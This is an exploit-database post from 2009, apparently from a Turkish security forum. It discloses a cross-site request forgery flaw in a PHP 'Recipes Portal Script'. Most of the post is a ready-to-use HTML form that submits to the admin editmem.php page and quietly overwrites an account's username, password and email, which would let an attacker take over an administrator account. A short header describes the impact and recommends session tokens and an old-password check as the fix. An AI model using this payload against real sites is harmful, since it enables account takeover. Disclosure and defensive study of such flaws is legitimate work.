Recipes Portal Script ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Recipes Portal Script ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:31:00
	# Recipes Portal Script ~ XSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : CWH1RLPOOL # Script Name : Recipes Portal Script # Bug Type : XSRF # Infection : Admin Bilgileri Degistirilebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form action=http://[site]/[script]/[path]/admin/editmem.php method=post name=signupform id=signupform onSubmit=return validate(this); > <input name=sbuser_id type=hidden id=sbuser_id value=10> <input name=sbuser_name type=hidden id=sbuser_name value=demo> <input name=userpwd type=text id=userpwd value=demo> <input name=emailid type=text id=emailid value=demo@ww.com> <input class=sbbutton type=submit name=Submit value=update> <input name=strpass type=hidden id=strpass value=pg=1&sbuser_id=10> </form> < -- bug code end of -- >